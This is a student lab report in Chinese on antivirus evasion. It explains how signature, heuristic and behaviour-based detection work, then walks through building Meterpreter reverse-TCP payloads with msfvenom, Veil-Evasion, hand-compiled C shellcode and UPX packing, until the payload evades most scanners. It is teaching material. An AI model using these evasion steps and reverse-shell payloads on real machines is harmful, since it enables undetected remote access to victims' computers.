1. 程式人生 > >20155236範晨歌_EXP3免殺原理與實踐

20155236範晨歌_EXP3免殺原理與實踐

git walk ack f-prot 安全 又能 OS 執行 eno

20155236範晨歌_免殺原理與實踐

免殺

概述

  • 免殺,也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,英文為Anti-AntiVirus(簡寫Virus AV),逐字翻譯為“反-反病毒”,翻譯為“反殺毒技術”。
  • 被誰殺?當然是被殺毒軟件(引擎)殺。所以,要做好免殺技術(防禦),就要弄清殺毒方式(攻擊),也就是這些殺毒軟件是如何工作的。

惡意代碼檢測方式

  • 基於特征碼的檢測
    • 特征庫,也就是我們平時說的病毒庫,它記錄了一些惡意軟件的特征碼,這些特征碼由一個不大於64字節的特征串組成,根據自己檢測出或網絡上已發現報告的病毒,對其多段提取特征碼,構成了對惡意軟件查殺的重要因素;
    • 殺毒軟件都有著自己的龐大病毒庫(實際上就是由特征碼構成的一個數據庫),殺毒時只需與特征碼進行比對就可判斷出軟件是否有毒;
    • 根據以上介紹,我總結了這種方式的查殺特點:
      • 病毒庫越大,殺毒有效率越高;
      • 因為收集的是已發現病毒的特征碼,所以誤報率低;
      • 對部分新型病毒沒有抵抗性,無法抵禦零日攻擊,需要定期更新病毒庫。
  • 啟發式惡意軟件檢測
    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”對照惡意軟件檢測來主說,就是如果一個軟件在幹通常是惡意軟件幹的事,看起來了像個惡意軟件,那我們就把它當成一個惡意軟件吧!

    • 用較為專業的角度來解釋就是,分析對象文件與病毒特征庫中的病毒原碼進行比較,當二者匹配率大於某一值時(通常這一值較小,所以容易誤報),殺毒軟件就會將其列為可疑文件以進行下一步的除理。
    • 總結出以下特點:
      • 查殺效率極高,不需要依賴龐大的病毒庫;
      • 對新型病毒有較好的預防性,可以抵禦零日攻擊;
      • 因為分析是“啟發式”的、不精確的、概率性的,所以其誤報率也不可忽略;
    • F-Prot是一款殺毒軟件,有三個啟發引擎,可見其是比較強大的,但其誤報我也深感無能為力啊(後文會介紹)……
  • 基於行為的惡意軟件檢測
    • 是在一種程序運行的狀態下對其行為進行監控,如果有敏感行為會報毒,是一種動態的監測與捕捉;
    • 總結出以下特點:
      • 不過分依賴病毒庫,效率高;
      • 可以檢測出獲取權限等敏感行為,從這種意義上說,在一定程度上是可以抵禦新型病毒的;
      • 因為是對系統的一個動態監測,會占用部分系統資源。

免殺方式

  • 只有弄懂了查殺原理,對免殺的方式才有更清晰的理解
  • 改變特征碼
    • 加殼,通過加殼,讓殺毒軟件無法進行反匯編、逆向工程,進而無法分析代碼
    • 對shellcode進行編碼、重組
  • 改變行為
    • 通訊方式
      • 盡量使用反彈式連接
      • 使用隧道技術
      • 加密通訊數據
    • 操作模式
      • 基於內存操作
      • 減少對系統的修改
  • 其它方法
    • 使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中
    • 使用社會工程學類攻擊,誘騙目標關閉AV軟件、點擊木馬軟件
    • 純手工打造一個惡意軟件

實踐內容

1.正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧。
2.通過組合應用各種技術實現惡意代碼免殺(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖)。
3.用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本。

首先要在kali上安裝veil
技術分享圖片

由於有很多同學的前車之鑒,我先嘗試了如下命令

發現有丶難受,然後換成了c語言use c/meterpreter/rev_tcp.py ,生成可執行文件
技術分享圖片
想都不用想,這個肯定是沒有說法的。我就接著做了:使用msf生成一個C語言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=5236 -f
技術分享圖片

在拿去測試一下,
技術分享圖片

技術分享圖片


詳細過程

Veil-Evasion免殺平臺

  • Veil-Evasion是一個與Metasploit有點類似的軟件,已經在kali虛擬機裏,如果沒有可以進行在線安裝:sudo apt-get install veil-evasion
  • 在終端下輸入指令veil-evasion即可打開軟件,根據menu的提示依次鍵入以下指令:

    use python/meterpreter/rev_tcp  //設置payload
    set LHOST XXX.XXX.XXX.XXX   //設置反彈連接IP
    set port    //設置反彈端口 ,默認為4444
    generate    //生成
    5236    //程序名
    1
  • C語言調用Shellcode

  • 在kali主機下,進入終端,執行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT= -f c
    • LHOST:攻擊機IP
    • LPORT:反彈連接端口
    • c:生成一個c語言格式的Shellcode數
  • 將上述代碼從虛擬機裏copy出來,用Microsoft Visual Studio 2013進行編譯運行生成可執行文件

  • 在kali下進入MSF打開監聽進程,方式參考了學長的博文
  • 在靶機上運行該可執行文件,kali成功獲取權限

  • 可以看出,生成shellcode半手工打造,而不是通過msfvenom指令生成一個可執行文件,風險已經降低了不少,但是仍被定性為病毒文件,所以需要進一步考慮修改代碼


壓縮殼UPX壓縮VS生成exe文件

技術分享圖片

但是這種殼是被針對的。。。

一些小問題:

  • 是不是F-Prot的殺毒引擎為啟發式,太敏感了?
  • 是不是call指令的調用或者VirtualProtect()操作這類行為敏感,導致報毒?

實驗思考

  • 免殺最好的效果就是純手工,純人為構造,殺軟可以分析免殺軟件生成的模式進而發現其隱藏的規律,而人為構造的惡意代碼往往因為不具有普遍性而難以捉摸;但免殺的嘗試不是一蹴而就的,就像這次的實踐,是在不斷的修改代碼過程中,從開始21家報毒,到後來1家報毒,逐漸達到了免殺的級別,這個過程需要不斷的嘗試;
  • 殺毒與免殺就是矛與盾,是一種博弈關系,是一種此消彼長的競爭關系,只要互聯網還存在,殺毒與免殺就是互聯網安全永恒的主題;殺毒軟件的薄弱在本次實踐中可見一斑,所以以後在網絡中要“潔身自好”,不該點擊的鏈接別點,來歷不明的第三方軟件別下,定時更新病毒庫、查毒、殺毒;
  • 這一種博弈關系非常微妙,就像本文提到的,本來VirSCAN.org的目的可能是幫助檢查是否為病毒文件,但可能被“我們”這樣的人惡意利用,用來檢測自己的病毒是否免殺;又比如,加殼軟件的初衷可能是版權問題,防止他人惡意反匯編、逆向,但這又能被“我們”利用,讓“殼”變成病毒的保護殼,正所謂,工具本無好壞,人心才有善惡!

參考資料

  • VirSCAN.org
  • MAL_免殺原理與實踐
  • 20145221高其_後門原理與實踐

20155236範晨歌_EXP3免殺原理與實踐